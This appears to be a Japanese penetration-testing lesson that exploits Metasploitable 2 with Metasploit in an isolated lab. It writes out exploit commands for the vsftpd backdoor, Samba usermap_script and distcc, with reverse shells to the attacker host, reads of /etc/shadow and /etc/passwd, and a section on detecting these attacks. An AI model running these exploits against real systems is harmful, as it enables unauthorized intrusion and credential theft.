Metasploit Framework とは
Metasploit Framework は、Rapid7が開発・メンテナンスするオープンソースのペネトレーションテストフレームワークです。2003年の登場以来、セキュリティ専門家・研究者がシステムの脆弱性を検証するための標準ツールとして世界中で使用されています。
Metasploitの主な構成要素:
| コンポーネント | 説明 |
|---|---|
| Exploit | 脆弱性を突いてターゲットシステムに侵入するコード |
| Payload | 侵入後にターゲット上で実行されるコード(Meterpreterなど) |
| Auxiliary | スキャン・フィンガープリントなど攻撃以外の補助モジュール |
| Post | 侵入後の情報収集・権限昇格などのモジュール |
| Encoder | ペイロードをエンコードして検知を回避するモジュール |
このレッスンで使用するすべてのコマンドは、Metasploitable 2/3 専用の隔離されたホストオンリー仮想ネットワーク内のみで実行してください。Metasploitはインターネット上や許可されていないシステムへの使用は不正アクセス禁止法・コンピュータ詐欺法に違反し、刑事罰の対象となります。実習前に必ず「01 演習環境構築」でネットワーク隔離を確認してください。
演習環境の確認
実習を始める前に、Kali LinuxとMetasploitable 2が同一のホストオンリーネットワーク上にいることを確認します。
Kali Linux 側で確認
ip addr show eth1
例: inet 192.168.56.102/24
Metasploitable 2 のIPアドレスにpingが通るか確認
ping -c 3 192.168.56.101
PING 192.168.56.101 (192.168.56.101) 56(84) bytes of data.
64 bytes from 192.168.56.101: icmp_seq=1 ttl=64 time=0.45 ms
Nmapで事前スキャンしてターゲットの全体像を把握
sudo nmap -sV -p- 192.168.56.101
Metasploitable 2 には教育目的で意図的に多数の脆弱なサービスが含まれています。主なものを挙げると、vsftpd 2.3.4(バックドア)、OpenSSH 4.7p1(古い実装)、Samba 3.0.20(username mapコマンドインジェクション)、UnrealIRCd(バックドア)、distccd などがあります。
msfconsole の基本操作
Metasploit Framework を起動
msfconsole
起動後のプロンプト
msf6 >
ヘルプの表示
msf6 > help
モジュールの検索
msf6 > search vsftpd
Matching Modules
================
Name Disclosure Date Rank Check
---- --------------- ---- -----
exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No
モジュールの詳細情報を表示
msf6 > info exploit/unix/ftp/vsftpd_234_backdoor
モジュールを選択
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
現在のオプションを確認
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
実習 1 — vsftpd 2.3.4 バックドアの悪用
vsftpd 2.3.4 は2011年7月に公式配布パッケージにバックドアが混入した事件で知られています。ユーザー名末尾に「:)」を付けるとポート6200でバックドアシェルが開くという仕組みです。
モジュールを選択してオプションを設定
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
ターゲットIPを設定
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
ペイロードを確認(このexploitはcmd/unixを使用)
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
実行
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.101:21 - USER: 331 Please specify the password.
[+] 192.168.56.101:21 - Backdoor service has been spawned, handling…
[+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened
バックドアシェルでのコマンド実行
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
セッションを終了
exit
vsftpd 2.3.4 の事件はサプライチェーン攻撃の典型例です。正規のパッケージにバックドアが混入されるケースは現在も継続する脅威です。ソフトウェアのハッシュ検証・信頼できるリポジトリからの取得・定期的なアップデートが重要な対策となります。
実習 2 — Samba のコマンドインジェクション(usermap_script)
Samba 3.0.20 には username map script オプションにコマンドインジェクションの脆弱性があります(CVE-2007-2447)。
新しいモジュールを検索・選択
msf6 > search samba usermap
exploit/multi/samba/usermap_script 2007-05-14 excellent No
msf6 > use exploit/multi/samba/usermap_script
オプションの設定
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
Reverse TCPペイロードを設定(攻撃者側に接続させる)
msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse_netcat
PAYLOAD => cmd/unix/reverse_netcat
自分(Kali)のIPアドレスを設定
msf6 exploit(multi/samba/usermap_script) > set LHOST 192.168.56.102
LHOST => 192.168.56.102
全設定を確認
msf6 exploit(multi/samba/usermap_script) > show options
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.56.101 yes Target IP
RPORT 139 yes Target port (TCP)
LHOST 192.168.56.102 yes Listen address
LPORT 4444 yes Listen port
実行
msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 192.168.56.102:4444
[*] Command shell session 2 opened (192.168.56.102:4444 -> 192.168.56.101:…)
[*] Found shell.
rootシェルでの操作
id
uid=0(root) gid=0(root)
cat /etc/shadow | head -5
root:$1$/…/…(パスワードハッシュが見える)
実習 3 — Meterpreter セッションの活用
Meterpreterはメモリ上で動作する高機能なペイロードで、より多くの情報収集・操作が可能です。
Metasploitable 2 の distccd 脆弱性を使用
msf6 > use exploit/unix/misc/distcc_exec
msf6 exploit(unix/misc/distcc_exec) > set RHOSTS 192.168.56.101 msf6 exploit(unix/misc/distcc_exec) > set PAYLOAD cmd/unix/reverse_bash msf6 exploit(unix/misc/distcc_exec) > set LHOST 192.168.56.102 msf6 exploit(unix/misc/distcc_exec) > run
--- Meterpreter を持つ例(linux/x86/meterpreter/reverse_tcp)---
Meterpreter セッションが開いた場合の操作例:
meterpreter > sysinfo
Computer : metasploitable
OS : Linux 2.6.24-16-server #1 SMP
Architecture : i686
Meterpreter : x86/linux
meterpreter > getuid
Server username: root
meterpreter > ls /home
Listing: /home
d msfadmin
d user
ファイルのダウンロード(証拠保全の演習として)
meterpreter > download /etc/passwd /tmp/metasploitable_passwd.txt
ネットワーク情報の収集
meterpreter > ifconfig
プロセス一覧
meterpreter > ps
セッションをバックグラウンドに移動
meterpreter > background
[*] Backgrounding session 1…
セッション一覧の確認
msf6 > sessions -l
Active sessions
===============
Id Name Type Connection
— ---- ---- ----------
1 meterpreter x86/linux 192.168.56.102:4444 -> 192.168.56.101:…
セッションへの再接続
msf6 > sessions -i 1
Meterpreterはターゲットのディスクに書き込まずメモリ上で動作するため、フォレンジック的な痕跡が残りにくい設計です。これが実際の攻撃者に好まれる理由であり、防御側がメモリフォレンジックやEDR(Endpoint Detection and Response)を重視する理由でもあります。
防御側の視点:攻撃の検出
攻撃を理解したうえで、防御側がどのように検出するかを学びます。
ネットワーク側での検出:
- FTP接続後にポート6200への接続が発生する(vsftpdバックドアの特徴的なパターン)
- SMBポート(139/445)から発信方向のTCP接続(Samba reverse shell)
- IDS/IPS のシグネチャ(Snort ルール
sid:3004,3005など Metasploit 関連)
ホスト側での検出:
/var/log/auth.logや/var/log/syslogへの異常なエントリ- 新しいプロセスの生成(特に root 権限の unexpecte な bash/sh)
netstat -antpで予期しないLISTEN/ESTABLISHEDポート
ターゲット側(別ターミナルでMetasploitable 2 に直接ログインして確認)
SSH等でMetasploitable 2 にログイン後:
認証ログの確認
sudo tail -50 /var/log/auth.log
ネットワーク接続の確認
netstat -antp | grep ESTABLISHED
予期しないリスニングポートの確認
netstat -antp | grep LISTEN
最近実行されたプロセスの確認
ps aux —sort=-%cpu | head -20
やってみよう — 演習ミッション
以下の課題を Metasploitable 2 を使って自分の手で試してみましょう。
ミッション 1(基礎): search コマンドを使って UnrealIRCd のバックドアモジュールを見つけ、セッションを確立してください。(ヒント:search unreal)
ミッション 2(応用): db_nmap コマンドを使ってスキャン結果をMetasploitのデータベースに保存し、hosts / services コマンドで結果を閲覧してください。(ヒント:先に msfdb init でDBを初期化)
ミッション 3(発展): 取得したシェルセッションから /etc/shadow のハッシュを入手し、次のレッスン(Hashcat)で使うための hashes.txt を作成してください。
トラブルシューティング
| 症状 | 原因 | 対処法 |
|---|---|---|
Exploit completed, but no session was created | ターゲットがパッチ済み/バージョンが違う | nmap -sV でバージョンを再確認 |
Connection refused | サービスが起動していない | Metasploitable 2 を再起動し、サービスが動作しているか確認 |
Handler failed to bind | LHOSTのポートが使用中 | set LPORT 5555 などで別ポートに変更 |
| msfconsole が起動しない | PostgreSQLサービスが停止中 | sudo service postgresql start && msfdb reinit |
| セッションが即座に切断される | 不安定な接続 | -j オプションでバックグラウンド実行後、sessions -i で接続 |
PostgreSQLサービスを起動
sudo service postgresql start
Metasploitデータベースを初期化(初回のみ)
sudo msfdb init
データベースの状態確認
msfdb status
再度起動
msfconsole
Metasploit の「Payload」とはどれを指しますか?